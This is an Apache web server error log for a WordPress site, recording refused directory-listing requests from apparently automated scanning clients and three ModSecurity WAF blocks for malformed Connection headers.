[Wed Apr 22 09:47:07.486441 2026] [autoindex:error] [pid 21682:tid 21726] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:09.364341 2026] [autoindex:error] [pid 21682:tid 21730] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:11.752755 2026] [autoindex:error] [pid 21682:tid 21723] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:12.067731 2026] [autoindex:error] [pid 21682:tid 21727] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:12.356769 2026] [autoindex:error] [pid 21682:tid 21738] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:15.848180 2026] [autoindex:error] [pid 21682:tid 21738] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:19.086218 2026] [autoindex:error] [pid 21682:tid 21725] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:19.376901 2026] [autoindex:error] [pid 21682:tid 21744] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:24.800183 2026] [autoindex:error] [pid 21682:tid 21735] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:26.489863 2026] [autoindex:error] [pid 21682:tid 21742] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:29.766393 2026] [autoindex:error] [pid 21682:tid 21744] [client 91.230.225.168:20173] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:32.794689 2026] [autoindex:error] [pid 21682:tid 21743] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:33.069745 2026] [autoindex:error] [pid 21682:tid 21727] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:33.359106 2026] [autoindex:error] [pid 21682:tid 21733] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:33.634674 2026] [autoindex:error] [pid 21682:tid 21746] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:33.912578 2026] [autoindex:error] [pid 21682:tid 21740] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:43.743231 2026] [autoindex:error] [pid 31755:tid 31785] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:44.022993 2026] [autoindex:error] [pid 31755:tid 31769] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:44.303137 2026] [autoindex:error] [pid 31755:tid 31765] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:44.637848 2026] [autoindex:error] [pid 31755:tid 31782] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:44.932596 2026] [autoindex:error] [pid 31755:tid 31778] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:50.958051 2026] [autoindex:error] [pid 31755:tid 31780] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:52.647557 2026] [autoindex:error] [pid 31755:tid 31781] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:52.981187 2026] [autoindex:error] [pid 31755:tid 31784] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:53.254412 2026] [autoindex:error] [pid 31755:tid 31771] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:53.586826 2026] [autoindex:error] [pid 31755:tid 31780] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:53.903086 2026] [autoindex:error] [pid 31755:tid 31783] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:00.124284 2026] [autoindex:error] [pid 31755:tid 31776] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:04.843485 2026] [autoindex:error] [pid 31755:tid 31764] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:05.230464 2026] [autoindex:error] [pid 31755:tid 31778] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:06.945038 2026] [autoindex:error] [pid 31755:tid 31772] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:13.985585 2026] [autoindex:error] [pid 31755:tid 31775] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:14.328935 2026] [autoindex:error] [pid 31755:tid 31770] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:14.617962 2026] [autoindex:error] [pid 31755:tid 31781] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:14.908381 2026] [autoindex:error] [pid 31755:tid 31772] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:21.562027 2026] [autoindex:error] [pid 31755:tid 31773] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:27.157886 2026] [autoindex:error] [pid 31755:tid 31787] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:27.472523 2026] [autoindex:error] [pid 31755:tid 31766] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:41.636185 2026] [autoindex:error] [pid 31755:tid 31764] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:44.630446 2026] [autoindex:error] [pid 31755:tid 31771] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:44.913853 2026] [autoindex:error] [pid 31755:tid 31764] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:45.206380 2026] [autoindex:error] [pid 31755:tid 31772] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:46.843804 2026] [autoindex:error] [pid 31755:tid 31786] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:48:48.515286 2026] [autoindex:error] [pid 31755:tid 31779] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:49:07.525991 2026] [autoindex:error] [pid 31755:tid 31786] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:49:10.211535 2026] [autoindex:error] [pid 31755:tid 31783] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:49:12.958707 2026] [autoindex:error] [pid 31755:tid 31773] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:49:15.723093 2026] [autoindex:error] [pid 31755:tid 31765] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:49:17.288124 2026] [autoindex:error] [pid 31755:tid 31775] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:49:17.569592 2026] [autoindex:error] [pid 31755:tid 31787] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:49:19.111914 2026] [autoindex:error] [pid 31755:tid 31779] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:49:19.409317 2026] [autoindex:error] [pid 31755:tid 31784] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:49:19.739940 2026] [autoindex:error] [pid 31755:tid 31767] [client 185.192.71.229:56237] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 12:49:05.273468 2026] [:error] [pid 31949:tid 31963] [client 125.94.144.102:32993] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aehTQX2WtGZh5JfbMUds5AAAAws"]
[Wed Apr 22 15:18:53.853277 2026] [:error] [pid 6384:tid 6403] [client 43.152.72.247:43544] [client 43.152.72.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeh2XT58M3t15ICeWHWh3QAAANA"]
[Wed Apr 22 15:58:21.270007 2026] [:error] [pid 9085:tid 9089] [client 43.135.211.148:47980] [client 43.135.211.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeh_nd-_-or9vQnlWnqzGwAAAUI"]
